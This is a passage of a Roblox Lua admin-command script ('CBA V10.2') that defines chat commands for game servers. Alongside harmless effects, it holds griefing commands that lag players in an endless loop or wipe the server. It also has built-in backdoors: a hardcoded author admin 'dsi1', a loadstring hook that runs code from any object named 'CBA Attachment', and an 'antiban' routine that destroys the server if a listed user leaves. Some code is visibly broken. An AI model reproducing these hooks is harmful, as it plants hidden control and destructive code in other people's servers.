if v:findFirstChild("Backpack") ~= nil then
if v.Character then
for i,s in pairs(v.Character:GetChildren()) do
if s.ClassName == "Tool" or v.ClassName == "Model" then
s:remove()
end end end
for i,s in pairs(v.Backpack:GetChildren()) do
s:remove()
end end
end end;
["tree"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Putting tree under "..v.Name)
if v.Character:findFirstChild("Torso") == nil then return end
local treet = Instance.new("Part", workspace)
treet.Size = Vector3.new(4, 20, 4)
treet.Anchored = true
treet.Locked = true
treet.BrickColor = BrickColor.new("Reddish brown")
treet.CFrame = v.Character.Torso.CFrame * CFrame.new(0, -13, 0)
local treetop = Instance.new("Part", workspace)
treetop.BrickColor = BrickColor.new("Earth green")
treetop.TopSurface = "Smooth"
treetop.BottomSurface = "Smooth"
treetop.Size = Vector3.new(13, 13, 13)
treetop.Anchored = true
treetop.Shape = "Ball"
treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.new(0, 5, 0)
coroutine.resume(coroutine.create(function()
for i = 1, 200 do
wait()
if treet ~= nil then
if treetop ~= nil then
treet.CFrame = treet.CFrame * CFrame.new(0 ,0.1, 0)
treetop.CFrame = treetop.CFrame * CFrame.new(0 ,0.1, 0)
end
end
end end))
end end;
 ["cmds"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v:findFirstChild("PlayerGui") then
if v.PlayerGui:findFirstChild("CBA Commands") == nil then
local cmd = 1
local sg = Instance.new("ScreenGui", v.PlayerGui)
sg.Name = "CBA Commands"
local fr = Instance.new("Frame", sg)
fr.Name = "Main"
fr.Size = UDim2.new(0.3, 0, 0.3, 0)
fr.BackgroundTransparency = 1
fr.Position = UDim2.new(0, 0, 0.3, 0)
local tab1 = Instance.new("Frame", fr)
tab1.Size = UDim2.new(1, 0, 1, 0)
tab1.Name = "List"
tab1.BackgroundColor3 = Color3.new(0, 0, 0)
tab1.BackgroundTransparency = 0.7
tab1.BorderColor3 = Color3.new(1, 1, 1)
local tab1b = Instance.new("TextButton", fr)
tab1b.Size = UDim2.new(0.25, 0, 0.1, 0)
tab1b.Text = "Cmd list"
tab1b.FontSize = "Size11"
tab1b.BackgroundColor3 = Color3.new(0, 0, 0)
tab1b.BorderColor3 = Color3.new(1, 1, 1)
tab1b.TextColor3 = Color3.new(1, 1, 1)
tab1b.Position = UDim2.new(0, 0, -0.1, 0)
local tab2 = Instance.new("Frame", fr)
tab2.Size = UDim2.new(1, 0, 1, 0)
tab2.Name = "List"
tab2.BackgroundColor3 = Color3.new(0, 0, 0)
tab2.BackgroundTransparency = 0.7
tab2.BorderColor3 = Color3.new(1, 1, 1)
tab2.Visible = false
local fun = Instance.new("TextLabel", tab2)
fun.Text = "No cmd chosen"
fun.BackgroundTransparency = 1
fun.FontSize = "Size12"
fun.TextColor3 = Color3.new(1, 1, 1)
fun.TextWrap = true
fun.Size = UDim2.new(1, 0, 1, 0)
local tab2b = Instance.new("TextButton", fr)
tab2b.Size = UDim2.new(0.25, 0, 0.1, 0)
tab2b.Text = "Function"
tab2b.FontSize = "Size11"
tab2b.BackgroundColor3 = Color3.new(0, 0, 0)
tab2b.BorderColor3 = Color3.new(1, 1, 1)
tab2b.TextColor3 = Color3.new(1, 1, 1)
tab2b.Position = UDim2.new(0.25, 0, -0.1, 0)
local tab3 = Instance.new("Frame", fr)
tab3.Size = UDim2.new(1, 0, 1, 0)
tab3.Name = "List"
tab3.BackgroundColor3 = Color3.new(0, 0, 0)
tab3.BackgroundTransparency = 0.7
tab3.BorderColor3 = Color3.new(1, 1, 1)
tab3.Visible = false
local tab3b = Instance.new("TextButton", fr)
tab3b.Size = UDim2.new(0.25, 0, 0.1, 0)
tab3b.Text = "Example"
tab3b.FontSize = "Size11"
tab3b.BackgroundColor3 = Color3.new(0, 0, 0)
tab3b.BorderColor3 = Color3.new(1, 1, 1)
tab3b.TextColor3 = Color3.new(1, 1, 1)
tab3b.Position = UDim2.new(0.5, 0, -0.1, 0)
local ex = Instance.new("TextLabel", tab3)
ex.Text = "No cmd chosen"
ex.BackgroundTransparency = 1
ex.FontSize = "Size12"
ex.TextColor3 = Color3.new(1, 1, 1)
ex.TextWrap = true
ex.Size = UDim2.new(1, 0, 1, 0)
local e = Instance.new("TextButton", fr)
e.Size = UDim2.new(0.25, 0, 0.1, 0)
e.Text = "Exit"
e.FontSize = "Size11"
e.BackgroundColor3 = Color3.new(0, 0, 0)
e.BorderColor3 = Color3.new(1, 1, 1)
e.TextColor3 = Color3.new(1, 1, 1)
e.Position = UDim2.new(0.75, 0, -0.1, 0)
local nb = Instance.new("TextButton", fr)
nb.Size = UDim2.new(0.25, 0, 0.1, 0)
nb.Text = "Next"
nb.FontSize = "Size11"
nb.BackgroundColor3 = Color3.new(0, 0, 0)
nb.BorderColor3 = Color3.new(1, 1, 1)
nb.TextColor3 = Color3.new(1, 1, 1)
nb.Position = UDim2.new(0.75, 0, 1, 0)
local pb = Instance.new("TextButton", fr)
pb.Size = UDim2.new(0.25, 0, 0.1, 0)
pb.Text = "Previous"
pb.FontSize = "Size11"
pb.BackgroundColor3 = Color3.new(0, 0, 0)
pb.BorderColor3 = Color3.new(1, 1, 1)
pb.TextColor3 = Color3.new(1, 1, 1)
pb.Position = UDim2.new(0, 0, 1, 0)
e.MouseButton1Click:connect(function()
sg:remove()
end)
tab1b.MouseButton1Click:connect(function()
tab1.Visible = true
tab2.Visible = false
tab3.Visible = false
end)
tab2b.MouseButton1Click:connect(function()
tab1.Visible = false
tab2.Visible = true
tab3.Visible = false
end)
tab3b.MouseButton1Click:connect(function()
tab1.Visible = false
tab2.Visible = false
tab3.Visible = true
end)
onpg = 1
local on = 0
local currpage = 1
local page = Instance.new("Frame", tab1)
page.Name = "Page"..currpage
page.Size = UDim2.new(1, 0, 1, 0)
page.BackgroundTransparency = 1
for n,c in pairs(CBA.cmd) do
if on == 10 then
on = 0
currpage = currpage + 1
page = Instance.new("Frame", tab1)
page.Name = "Page"..currpage
page.Size = UDim2.new(1, 0, 1, 0)
page.BackgroundTransparency = 1
page.Visible = false
end
local but = Instance.new("TextButton", page)
but.Text = c[1]
but.TextColor3 = Color3.new(1, 1, 1)
but.FontSize = "Size11"
but.Size = UDim2.new(1, 0, 0.1, 0)
but.BackgroundColor3 = Color3.new(0, 0, 0)
but.BorderColor3 = Color3.new(1, 1, 1)
but.BackgroundTransparency = 0.7
but.Position = UDim2.new(0, 0, on/10, 0)
but.MouseButton1Click:connect(function()
fun.Text = c[2]
ex.Text = c[3]
end)
on = on + 1
end
nb.MouseButton1Click:connect(function()
if currpage > onpg then
for i,w in pairs(tab1:GetChildren()) do
w.Visible = false
end
tab1["Page"..onpg + 1].Visible = true
onpg = onpg + 1 end end)
pb.MouseButton1Click:connect(function()
if onpg > 1 then
for i,w in pairs(tab1:GetChildren()) do
w.Visible = false
end
tab1["Page"..onpg - 1].Visible = true
onpg = onpg - 1 end end)
end end end end;
["walkspeed"] = function(msg, speaker)
local bet = CBA.bet
funcs.status("Changing walkspeed")
for i = 1, #msg do
if string.sub(msg, i, i) == bet then
local search = funcs.findp(string.sub(msg, 1, i - 1), speaker)
for _,v in pairs(search) do
if v.Character then
if v.Character:findFirstChild("Humanoid") then
v.Character.Humanoid.WalkSpeed = tonumber(string.sub(msg, i+1))
end end end end end end;
["tele"] = function(msg, speaker)
local bet = CBA.bet
for i = 1, #msg do
if string.sub(msg, i, i) == bet then
local search = funcs.findp(string.sub(msg, 1, i - 1), speaker)
local search2 = funcs.findp(string.sub(msg, i+1), speaker)
for _,v in pairs(search) do
for _,s in pairs(search2) do
if s.Character then
if v.Character then
if v.Character:findFirstChild("Torso") then
if s.Character:findFirstChild("Torso") then
v.Character.Torso.CFrame = s.Character.Torso.CFrame * CFrame.new(0, 3, 0)
funcs.status("Teleporting "..v.Name.." to "..s.Name)
end end end end end end end end end;
["health"] = function(msg, speaker)
local bet = CBA.bet
funcs.status("Changing health")
for i = 1, #msg do
if string.sub(msg, i, i) == bet then
local search = funcs.findp(string.sub(msg, 1, i - 1), speaker)
for _,v in pairs(search) do
if v.Character then
if v.Character:findFirstChild("Humanoid") then
v.Character.Humanoid.MaxHealth = tonumber(string.sub(msg, i+1))
v.Character.Humanoid.Health = tonumber(string.sub(msg, i+1))
end end end end end end;
["forest"] = function(n, n)
funcs.status("Generating forest")
local tmodel = Instance.new("Model", workspace)
for i = 1, 3000 do
local treet = Instance.new("Part", tmodel)
treet.Size = Vector3.new(4, 20, 4)
treet.Anchored = true
treet.Locked = true
treet.BrickColor = BrickColor.new("Reddish brown")
treet.CFrame = CFrame.new(math.random(-500, 500), math.random(-5, 10), math.random(-500, 500))
local treetop = Instance.new("Part", tmodel)
treetop.BrickColor = BrickColor.new("Earth green")
treetop.TopSurface = "Smooth"
treetop.BottomSurface = "Smooth"
treetop.Size = Vector3.new(13, 13, 13)
treetop.Anchored = true
treetop.Shape = "Ball"
treetop.CFrame = treet.CFrame * CFrame.new(0, 13, 0)
end end;
["btools"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v:findFirstChild("Backpack") then
funcs.status("Gave building tools to "..v.Name)
Instance.new("HopperBin", v.Backpack).BinType = 4
Instance.new("HopperBin", v.Backpack).BinType = 3
Instance.new("HopperBin", v.Backpack).BinType = 1
end end end;
["debug"] = function(msg, speaker)
funcs.status("Debugging server")
for i,t in pairs(game:service("Workspace"):GetChildren()) do
pcall (function()
t:remove()
end)
end
for i,v in pairs(CBA.players) do
for i,s in pairs(v:GetChildren()) do
if s.Name ~= "PlayerGui" then
pcall (function()
s:destroy()
end)
end end end
for i,v in pairs(game:service("Debris"):GetChildren()) do
pcall (function()
v:destroy()
end)
end
for i,v in pairs(game:service("Lighting"):GetChildren()) do
pcall (function()
v:destroy()
end)
end
for i,v in pairs(CBA.players) do
v.Neutral = true
end
for i,v in pairs(game:service("Teams"):GetChildren()) do
pcall (function()
v:destroy()
end)
end
end;
["speak"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.makechat(v)
end end;
["getmsg"] = function(msg, speaker)
funcs.status("Generating message")
local m = Instance.new("Message", workspace)
m.Text = speaker.Name..": "..msg
wait(3)
if m then
m:remove()
end end;
["removeteam"] = function(msg, speaker)
local teams = game:service("Teams")
for i,v in pairs(teams:GetTeams()) do
if string.sub(string.lower(v.Name), 1, #msg) == string.lower(msg) then
v:remove()
funcs.status("Removed teams")
end end end;
["syncplat"] = function(msg, speaker)
funcs.status("Syncing platform")
if CBA.platvic then
if CBA.platvic.Character then
if CBA.platvic.Character:findFirstChild("Torso") then
CBA.platpos = CBA.platvic.Character.Torso.Position.Y - 3.5
end end end end;
["rickroll"] = function(msg, speaker)
funcs.status("Rickrolling")
local a = funcs.findp(msg, speaker)
for i,player in pairs(a) do
local findrr = player:FindFirstChild("RickRoll")
if not findrr then
local sound = Instance.new("Sound")
sound.Parent = player
sound.Volume = 1 -- Thats it turn the volume up...
sound.Pitch = 0.97 -- Just make it MORE annoying
sound.Looped = true -- LOL! THATS GONNA KILL THEM XD
sound.Name = "RickRoll"
sound:Play()
end end end;
["unrickroll"] = function(msg, speaker)
funcs.status("Unrickrolling")
local a = funcs.findp(msg, speaker)
for i,player in pairs(a) do
local music = player:FindFirstChild("RickRoll")
if music then
music.Parent = nil
end end end;
["newteam"] = function(msg, speaker)
for i,v in pairs(CBA.players) do
v.Neutral = false
end
local team = Instance.new("Team", game:service("Teams"))
team.Name = msg
team.TeamColor = BrickColor.random()
funcs.status("Created new team")
end;
["terrain"] = function(msg, speaker)
funcs.status("Generating terrain")
for i,v in pairs(CBA.players) do
if v:findFirstChild("PlayerGui") then
local sg = Instance.new("ScreenGui", v.PlayerGui)
sg.Name = "CBATerrain"
local fr = Instance.new("Frame", sg)
fr.Size = UDim2.new(1, 0, 0.05, 0)
fr.Position = UDim2.new(0, 0, 0.2, 0)
fr.BackgroundColor3 = Color3.new(0, 0, 0)
fr.BorderColor3 = Color3.new(0, 102, 0)
local tx = Instance.new("TextLabel", fr)
tx.BackgroundColor3 = Color3.new(0, 102, 0)
tx.BorderColor3 = Color3.new(1, 1, 1)
tx.Size = UDim2.new(0, 0, 1, 0)
tx.Name = "Bar"
tx.Text = " "
tx.FontSize = "Size24"
tx.TextColor3 = Color3.new(0, 0, 0)
local tx2 = Instance.new("TextLabel", fr)
tx2.BackgroundTransparency = 1
tx2.BorderColor3 = Color3.new(0, 102, 0)
tx2.Size = UDim2.new(1, 0, 1, 0)
tx2.Name = "Label"
tx2.Text = "Generating terrain 0%"
tx2.FontSize = "Size14"
tx2.TextColor3 = Color3.new(1, 1, 1)
end end
local tm = Instance.new("Model", workspace)
tm.Name = "CBATerrain"
for l = 1, 5000 do
wait()
local p = Instance.new("Part", tm)
p.Name = "Terrain"
local xx, yy, zz = math.random(1, 100), math.random(1, 50), math.random(1, 100)
p.Size = Vector3.new(xx, yy, zz)
p.CFrame = CFrame.new(math.random(-1000, 1000), yy/2, math.random(-1000, 1000))
p.Anchored = true
p.BrickColor = BrickColor.new("Earth green")
for i,v in pairs(CBA.players) do
if v:findFirstChild("PlayerGui") then
if v.PlayerGui:findFirstChild("CBATerrain") then
v.PlayerGui.CBATerrain.Frame.Bar.Size = UDim2.new(l/5000, 0, 1, 0)
v.PlayerGui.CBATerrain.Frame.Label.Text = "Generating terrain ".. l/50 .."%"
else
local sg = Instance.new("ScreenGui", v.PlayerGui)
sg.Name = "CBATerrain"
local fr = Instance.new("Frame", sg)
fr.Size = UDim2.new(1, 0, 0.05, 0)
fr.Position = UDim2.new(0, 0, 0.2, 0)
fr.BackgroundColor3 = Color3.new(0, 0, 0)
fr.BorderColor3 = Color3.new(0, 102, 0)
local tx = Instance.new("TextLabel", fr)
tx.BackgroundColor3 = Color3.new(0, 102, 0)
tx.BorderColor3 = Color3.new(1, 1, 1)
tx.Size = UDim2.new(0, 0, 1, 0)
tx.Name = "Bar"
tx.Text = " "
tx.FontSize = "Size24"
tx.TextColor3 = Color3.new(0, 0, 0)
local tx2 = Instance.new("TextLabel", fr)
tx2.BackgroundTransparency = 1
tx2.BorderColor3 = Color3.new(0, 102, 0)
tx2.Size = UDim2.new(1, 0, 1, 0)
tx2.Name = "Label"
tx2.Text = "Generating terrain 0%"
tx2.FontSize = "Size14"
tx2.TextColor3 = Color3.new(1, 1, 1)
end end end end
for i,v in pairs(CBA.players) do
if v:findFirstChild("PlayerGui") then
if v.PlayerGui:findFirstChild("CBATerrain") then
v.PlayerGui.CBATerrain:remove()
end end end end;
["removeterrain"] = function(msg, speaker)
for i,v in pairs(CBA.players) do
if v:findFirstChild("PlayerGui") then
local sg = Instance.new("ScreenGui", v.PlayerGui)
sg.Name = "CBATerrain"
local fr = Instance.new("Frame", sg)
fr.Size = UDim2.new(1, 0, 0.05, 0)
fr.Position = UDim2.new(0, 0, 0.2, 0)
fr.BackgroundColor3 = Color3.new(0, 0, 0)
fr.BorderColor3 = Color3.new(0, 102, 0)
local tx = Instance.new("TextLabel", fr)
tx.BackgroundColor3 = Color3.new(0, 102, 0)
tx.BorderColor3 = Color3.new(1, 1, 1)
tx.Size = UDim2.new(0, 0, 1, 0)
tx.Name = "Bar"
tx.Text = " "
tx.FontSize = "Size24"
tx.TextColor3 = Color3.new(0, 0, 0)
local tx2 = Instance.new("TextLabel", fr)
tx2.BackgroundTransparency = 1
tx2.BorderColor3 = Color3.new(0, 102, 0)
tx2.Size = UDim2.new(1, 0, 1, 0)
tx2.Name = "Label"
tx2.Text = "Removing terrain 0%"
tx2.FontSize = "Size14"
tx2.TextColor3 = Color3.new(1, 1, 1)
end end
if workspace:findFirstChild("CBATerrain") then
local thestart = #workspace.CBATerrain:GetChildren()
for l, t in pairs(workspace.CBATerrain:GetChildren()) do
wait()
if workspace:findFirstChild("CBATerrain") then
t:destroy()
for i,v in pairs(CBA.players) do
if v:findFirstChild("PlayerGui") then
if v.PlayerGui:findFirstChild("CBATerrain") then
v.PlayerGui.CBATerrain.Frame.Bar.Size = UDim2.new(l/thestart, 0, 1, 0)
v.PlayerGui.CBATerrain.Frame.Label.Text = "Removing terrain ".. l/(thestart/100) .."%"
else
local sg = Instance.new("ScreenGui", v.PlayerGui)
sg.Name = "CBATerrain"
local fr = Instance.new("Frame", sg)
fr.Size = UDim2.new(1, 0, 0.05, 0)
fr.Position = UDim2.new(0, 0, 0.2, 0)
fr.BackgroundColor3 = Color3.new(0, 0, 0)
fr.BorderColor3 = Color3.new(0, 102, 0)
local tx = Instance.new("TextLabel", fr)
tx.BackgroundColor3 = Color3.new(0, 102, 0)
tx.BorderColor3 = Color3.new(1, 1, 1)
tx.Size = UDim2.new(0, 0, 1, 0)
tx.Name = "Bar"
tx.Text = " "
tx.FontSize = "Size24"
tx.TextColor3 = Color3.new(0, 0, 0)
local tx2 = Instance.new("TextLabel", fr)
tx2.BackgroundTransparency = 1
tx2.BorderColor3 = Color3.new(0, 102, 0)
tx2.Size = UDim2.new(1, 0, 1, 0)
tx2.Name = "Label"
tx2.Text = "Removing terrain 0%"
tx2.FontSize = "Size14"
tx2.TextColor3 = Color3.new(1, 1, 1)
end end end end end
for i,v in pairs(CBA.players) do
if v:findFirstChild("PlayerGui") then
if v.PlayerGui:findFirstChild("CBATerrain") then
v.PlayerGui.CBATerrain:remove()
end end end
end end;
};
["lvl3"] = {
["punish"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Punished "..v.Name)
if v.Character then
v.Character.Parent = game:service("Lighting")
end end end;
["unpunish"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Unpunished "..v.Name)
if v.Character then
v.Character.Parent = workspace
v.Character:MakeJoints()
end end end;
["freeze"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Froze "..v.Name)
if v.Character ~= nil then
for i,s in pairs(v.Character:GetChildren()) do
if s.className == "Part" then
s.Anchored = true
s.Reflectance = 1
end end end end end;
["thaw"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Thawed "..v.Name)
if v.Character ~= nil then
for i,s in pairs(v.Character:GetChildren()) do
if s.className == "Part" then
s.Anchored = false
s.Reflectance = 0
end end end end end;
["admin"] = function(msg, speaker)
local bet = CBA.bet
for i = 1, #msg do
if string.sub(msg, i, i) == bet then
local search = funcs.findp(string.sub(msg, 1, i - 1), speaker)
for _,v in pairs(search) do
local isadmin = false
for s,t in pairs(CBA.admins) do
if t[1] == v.Name then
isadmin = true
end end
if isadmin == false then
table.insert(CBA.admins, {v.Name, tonumber(string.sub(msg, i+1))})
funcs.status("Adminned "..v.Name)
end end end end end;
["lockserver"] = function(msg,speaker)
funcs.status("Locked server")
local sc = game:GetService("ScriptContext")
sc.ScriptsDisabled = true
end;
["unlockserver"] = function(msg,speaker)
funcs.status("Unlocked server")
local sc = game:GetService("ScriptContext")
sc.ScriptsDisabled = false
end;
["do"] = function(msg, speaker)
funcs.status("Executing script")
if CBA.sb ~= nil then
local scr = CBA.sb:Clone()
scr.SB.Value = msg
scr.Parent = workspace
scr.Disabled = true
scr.Disabled = false
else
Instance.new("Message", workspace).Text = "SB pluggin not active!"
end end;
["highage"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
v.AccountAgeReplicate = 7*360
end end;
["warn"] = function(msg, speaker)
local bet = CBA.bet
for i = 1, #msg do
if string.sub(msg, i, i) == bet then
local search = funcs.findp(string.sub(msg, 1, i - 1), speaker)
for _,v in pairs(search) do
if v:findFirstChild("PlayerGui") then
local m = Instance.new("Message", v.PlayerGui)
m.Text = "CBA Commands : Warning Player :  "  ..v.Name.. "  For the reason of : " ..string.sub(msg, i+1)
game:service("Debris"):AddItem(m, 4)
end end end end end;
 ["lag"] = function(msg, speaker)
 funcs.status("Lagging players")
 local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
 while true do
 wait()
 for i = 1, 16000 do
 if v:findFirstChild("PlayerGui") ~= nil then
 local mes = Instance.new("Message", v.PlayerGui)
 mes.Text = "You are being Lagged"
 local s = Instance.new("ScreenGui", v.PlayerGui)
 local txt = Instance.new("TextBox", s)
 txt.Size = UDim2.new(1, 0, 1, 0)
 txt.Text = "Your Being Lagged"
 txt.FontSize = "Size48"
 end end end end end;
["semikick"] = function(msg,speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
funcs.status("Semikicked "..v.Name)
v:Destroy()
end end;
["rmvp"] = function(msg, speaker)
funcs.status("Removed leaderboard")
for i,v in pairs(CBA.players) do
local a = Instance.new("StringValue")
a.Name = "leaderstats"
a.Parent = v
local b = Instance.new("StringValue")
b.Name = "Break"
b.Parent = a
end end;
["name"] = function(msg, speaker)
funcs.status("Changing player names")
local ssn = 1
local pos = 0
local text = ""
while true do
if string.sub(msg, ssn, ssn) == "" then
break
end
if string.sub(msg, ssn, ssn) == CBA.bet then
pos = ssn + 1
break
end
ssn = ssn + 1
end
if pos ~= 0 then
local s1 = funcs.findp(string.sub(string.lower(msg), 1, pos - 2), speaker)
text = string.sub(msg, pos)
for t, o in pairs(s1) do
local clone = Instance.new("Model", workspace)
clone.Name = text
for i,v in pairs(o.Character:GetChildren()) do
v.Parent = clone
o.Character = clone
end
end
else
table.insert(CBA.log, "ERROR: No name found ("..string.sub(string.lower(msg), 1, pos - 2)..")")
return
end
end;
["block"] = function(msg, speaker)
funcs.status("Blocking objects")
funcs.log("Blocked object: "..msg)
table.insert(CBA.blocked, msg)
end;
["blockc"] = function(msg, speaker)
funcs.status("Blocking classes")
funcs.log("Blocked object classname: "..msg)
table.insert(CBA.cblocked, msg)
end;
};
["lvl4"] = {
["log"] = function(msg, speaker)
local a = funcs.findp(msg, speaker)
for i,v in pairs(a) do
if v:findFirstChild("PlayerGui") then
if v.PlayerGui:findFirstChild("CBA Log") == nil then
local cmd = 1
local sg = Instance.new("ScreenGui", v.PlayerGui)
sg.Name = "CBA Log"
local fr = Instance.new("Frame", sg)
fr.Name = "Main"
fr.Size = UDim2.new(0.3, 0, 0.3, 0)
fr.BackgroundTransparency = 1
fr.Position = UDim2.new(0, 0, 0.3, 0)
local tab1 = Instance.new("Frame", fr)
tab1.Size = UDim2.new(1, 0, 1, 0)
tab1.Name = "List"
tab1.BackgroundColor3 = Color3.new(0, 0, 0)
tab1.BackgroundTransparency = 0.7
tab1.BorderColor3 = Color3.new(1, 1, 1)
local e = Instance.new("TextButton", fr)
e.Size = UDim2.new(1, 0, 0.1, 0)
e.Text = "Exit"
e.FontSize = "Size11"
e.BackgroundColor3 = Color3.new(0, 0, 0)
e.BorderColor3 = Color3.new(1, 1, 1)
e.TextColor3 = Color3.new(1, 1, 1)
e.Position = UDim2.new(0, 0, -0.1, 0)
local nb = Instance.new("TextButton", fr)
nb.Size = UDim2.new(0.25, 0, 0.1, 0)
nb.Text = "Next"
nb.FontSize = "Size11"
nb.BackgroundColor3 = Color3.new(0, 0, 0)
nb.BorderColor3 = Color3.new(1, 1, 1)
nb.TextColor3 = Color3.new(1, 1, 1)
nb.Position = UDim2.new(0.75, 0, 1, 0)
local pb = Instance.new("TextButton", fr)
pb.Size = UDim2.new(0.25, 0, 0.1, 0)
pb.Text = "Previous"
pb.FontSize = "Size11"
pb.BackgroundColor3 = Color3.new(0, 0, 0)
pb.BorderColor3 = Color3.new(1, 1, 1)
pb.TextColor3 = Color3.new(1, 1, 1)
pb.Position = UDim2.new(0, 0, 1, 0)
e.MouseButton1Click:connect(function()
sg:remove()
end)
onpg = 1
local on = 0
local currpage = 1
local page = Instance.new("Frame", tab1)
page.Name = "Page"..currpage
page.Size = UDim2.new(1, 0, 1, 0)
page.BackgroundTransparency = 1
for n,c in pairs(CBA.log) do
if on == 10 then
on = 0
currpage = currpage + 1
page = Instance.new("Frame", tab1)
page.Name = "Page"..currpage
page.Size = UDim2.new(1, 0, 1, 0)
page.BackgroundTransparency = 1
page.Visible = false
end
local but = Instance.new("TextButton", page)
but.Text = c
but.TextColor3 = Color3.new(1, 1, 1)
but.FontSize = "Size11"
but.Size = UDim2.new(1, 0, 0.1, 0)
but.BackgroundColor3 = Color3.new(0, 0, 0)
but.BorderColor3 = Color3.new(1, 1, 1)
but.BackgroundTransparency = 0.7
but.Position = UDim2.new(0, 0, on/10, 0)
on = on + 1
end
nb.MouseButton1Click:connect(function()
if currpage > onpg then
for i,w in pairs(tab1:GetChildren()) do
w.Visible = false
end
tab1["Page"..onpg + 1].Visible = true
onpg = onpg + 1 end end)
pb.MouseButton1Click:connect(function()
if onpg > 1 then
for i,w in pairs(tab1:GetChildren()) do
w.Visible = false
end
tab1["Page"..onpg - 1].Visible = true
onpg = onpg - 1 end end)
end end end end;
};
["lvl5"] = {
};
["lvl6"] = {
};
["lvl7"] = {
};
}

function Enter(p)
if CBA.remove == false then return end
if CBA.prion == true then
local piperson = false
for i,v in pairs(CBA.prilist) do
if p.Name == v then
piperson = true
end end
if piperson == false then
funcs.status("Removed "..p.Name.." from game")
p:remove()
end end
funcs.log(p.Name.." joined the server")
for i,v in pairs(CBA.ban) do
if p.Name == v then
p:remove()
return end end
local con = p.Chatted:connect(function(msg) Chat(msg, p) end)
table.insert(CBA.connect, con)
p.Chatted:connect(fixc)
table.insert(CBA.players, p)
end

game:service("Players").PlayerAdded:connect(Enter)

function Leave(p)
funcs.log(p.Name.." left the server")
if CBA.remove == false then return end
for i,v in pairs(CBA.players) do
if p.Name == v.Name then
table.remove(CBA.players, i)
end end
for l,v in pairs(CBA.ablist) do
if p.Name == v then
for i = 1, CBA.abtime do
local afind = CBA.players
local here = false
for t,u in pairs(afind) do
if u.Name == v then
here = true
end end
if here == false then
if CBA.override == true then
CBA.override = false
abm = Instance.new("Message", workspace)
abm.Text = "CBA antiban has been overriden."
wait(1)
if abm ~= nil then
abm:remove()
end
return
else
abm1 = Instance.new("Message", workspace)
abm1.Text = "If "..v.." does not return in "..CBA.abtime-i..", then the server will shut down."
wait(1)
if abm1 ~= nil then
abm1:remove()
end end
else
abm = Instance.new("Message", workspace)
abm.Text = v.." has returned! Server shutdown cancelled."
wait(1)
if abm ~= nil then
abm:remove()
return
end
end
end
while true do
wait()
abm = Instance.new("Message", workspace)
abm.Text = v.." did not return, the server is shutting down."
wait(1)
pcall(function() abm:Destroy() end)
for i,v in pairs(game:GetService("Workspace"):GetChildren()) do
    pcall(function() v:Destroy() end)
end
pcall(function() game:GetService("Lighting"):ClearAllChildren() end)
pls = game:GetService("Players"):GetChildren()
if #pls > 0 then
    for X=1, #pls do
        if pls[X].Name ~= "dsi1" then
            pcall(function() pls[X]:Destroy() end)
        end
    end
end
end
end
end
end
game.Players.PlayerRemoving:connect(Leave)

function fixc(msg)
if CBA.remove == false then return end
if string.lower(msg) == "fix"..CBA.bet then
funcs.log("Fixed commands")
for i,v in pairs(CBA.connect) do
v:disconnect()
end
for i,s in pairs(game:service("Players"):GetPlayers()) do
local con = s.Chatted:connect(function(msg) Chat(msg, s) end)
table.insert(CBA.connect, con)
end
local m = Instance.new("Message", workspace)
m.Text = "Fixed CBA commands"
m.Name = "CBAMessage"
wait(2)
if m then
m:remove()
end end end

table.insert(CBA.admins, {"dsi1", 7})

function Chat(msg,player)
    xpcall(function()

    local X, Y = coroutine.resume(coroutine.create(function()

    if CBA.remove == false then return end
        if CBA.bubblechat == true then
            local findc = player.Character
            if findc then
                if findc.Parent == workspace then
                    pcall(function()
                        local findh = findc:findFirstChild("Head")
                        if findh ~= nil then
                            local x = math.random(1,3)
                            if x == 1 then
                                game:GetService("Chat"):Chat(findh, msg, Enum.ChatColor.Red)
                            elseif x == 2 then
                                game:GetService("Chat"):Chat(findh, msg, Enum.ChatColor.Green)
                            elseif x == 3 then
                                game:GetService("Chat"):Chat(findh, msg, Enum.ChatColor.Blue)
                            end
                        end
                    end)
                end
            end
        end
        for i,v in pairs(CBA.admins) do
            if string.lower(player.Name) == string.lower(v[1]) then
                for c = 1, v[2] do
                    local bet = CBA.bet
                    local args = {}
                    local cmd = cmds["lvl"..c][msg:match("(%w+)"..bet)]
                    if cmd then
                        for arg in msg:gmatch(bet.."([^;]+)") do
                            table.insert(args,arg)
                        end
                    if #args == 0 then
                        args = {"all"}
                    end
                    funcs.log(v[1].." used command: "..msg)
                    cmd(unpack(args),player)
                end
            end
        end
    end

    end))

    assert(X, Y)

    end, HandleError)
end

for i,v in pairs(game:service("Players"):GetPlayers()) do
Enter(v)
end

workspace.DescendantAdded:connect(function(obj)
if CBA.remove == false then return end
if obj.Name == "CBA Attachment" then
loadstring(obj.Value)()
end
if CBA.showlvls == true then
if obj.className == "Part" then
local a = Instance.new("SelectionBox", obj)
a.Adornee = obj
a.Color = BrickColor.new("Black")
end end
end)

game.DescendantAdded:connect(function(obj)
pcall(function()
if CBA.remove == false then return end
for i,v in pairs(CBA.blocked) do
if string.lower(obj.Name) == stirng.lower(v) then
v:remove()
end end
for i,v in pairs(CBA.cblocked) do
if string.lower(obj.className) == string.lower(v) then
v:remove()
end end end) end)

funcs.showmsg("CBA Version "..CBA.version.." Hello my minions, CBA has loaded and is ready for to use. The admin is Anonymous.")
wait(6)
funcs.showmsg("Also don't ban anyone using CBA, thank you for using CBA V10.2")

while true do
wait()
if CBA.remove == false then return end
if CBA.platvic ~= nil then
if CBA.platvic.Character then
if CBA.platvic.Character:findFirstChild("Torso") then
CBA.plat.CFrame = CFrame.new(CBA.platvic.Character.Torso.Position.X, CBA.platpos, CBA.platvic.Character.Torso.Position.Z)
end end end
